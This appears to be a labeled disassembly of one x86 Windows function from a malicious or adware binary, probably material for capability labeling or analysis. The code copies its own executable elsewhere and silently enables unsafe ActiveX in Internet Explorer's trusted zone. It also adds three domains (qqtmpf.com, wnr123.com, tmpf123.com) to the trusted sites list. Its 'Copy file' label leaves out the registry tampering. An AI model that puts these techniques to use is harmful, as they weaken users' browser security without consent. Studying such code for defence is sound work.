Function at 0x41c7d0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x474a78
push eax
mov dword fs:[0], esp
sub esp, 0x20c
lea eax, [ebp - 0x218]
push 0x100
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.00429930
xor ecx, ecx
mov edx, eax
test edx, edx
setne cl
test ecx, ecx
jne 0x41c81e
push 0x80004005
call fcn.00402670
mov eax, dword [edx]
mov ecx, edx
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
mov ecx, 0x4a4940
mov dword [ebp - 4], 0
lea edx, [ecx + 2]
lea ebx, [ebx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41c840
sub ecx, edx
push esi
sar ecx, 1
push ecx
push 0x4a4940
lea ecx, [ebp - 0x18]
call fcn.00408f60
push 0xe
push 0x4864fc
lea ecx, [ebp - 0x18]
call fcn.00402570
mov esi, dword [ebp - 0x18]
push esi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x41c892
push 0
push esi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones2
lea ecx, [ebp - 0x10]
call fcn.004016a0
push str.1201
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.004016a0
push 1
push dword [ebp - 0x14]
mov byte [ebp - 4], 2
push dword [ebp - 0x10]
push reloc.WS2_32.dll_accept
call fcn.004678b0
add esp, 0x10
test eax, eax
je 0x41c8e4
push 1
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push reloc.WS2_32.dll_accept
call fcn.00468b10
add esp, 0x14
push 0x56
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZoneMapDomainsqqtmpf.com
lea ecx, [ebp - 0x10]
call fcn.00408f60
push 4
push str.http
lea ecx, [ebp - 0x14]
call fcn.00408f60
push 1
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push reloc.WS2_32.dll_accept
call fcn.004678b0
add esp, 0x10
cmp eax, 2
je 0x41c933
push 1
push 2
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push reloc.WS2_32.dll_accept
call fcn.00468b10
add esp, 0x14
push 0x56
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZoneMapDomainswnr123.com
lea ecx, [ebp - 0x10]
call fcn.00408f60
push 4
push str.http
lea ecx, [ebp - 0x14]
call fcn.00408f60
push 1
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push reloc.WS2_32.dll_accept
call fcn.004678b0
add esp, 0x10
cmp eax, 2
je 0x41c982
push 1
push 2
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push reloc.WS2_32.dll_accept
call fcn.00468b10
add esp, 0x14
push 0x57
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZoneMapDomains_tmpf123.com
lea ecx, [ebp - 0x10]
call fcn.00408f60
push 4
push str.http
lea ecx, [ebp - 0x14]
call fcn.00408f60
push 1
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push reloc.WS2_32.dll_accept
call fcn.004678b0
add esp, 0x10
cmp eax, 2
je 0x41c9d1
push 1
push 2
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push reloc.WS2_32.dll_accept
call fcn.00468b10
add esp, 0x14
mov edx, dword [ebp - 0x14]
push edi
add edx, 0xfffffff0
or edi, 0xffffffff
mov byte [ebp - 4], 1
lea ecx, [edx + 0xc]
mov eax, edi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x41c9f5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x10]
add edx, 0xfffffff0
mov byte [ebp - 4], 0
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x41ca15
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea eax, [esi + 0xc]
lock xadd dword [eax], edi
dec edi
test edi, edi
pop edi
jg 0x41ca34
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret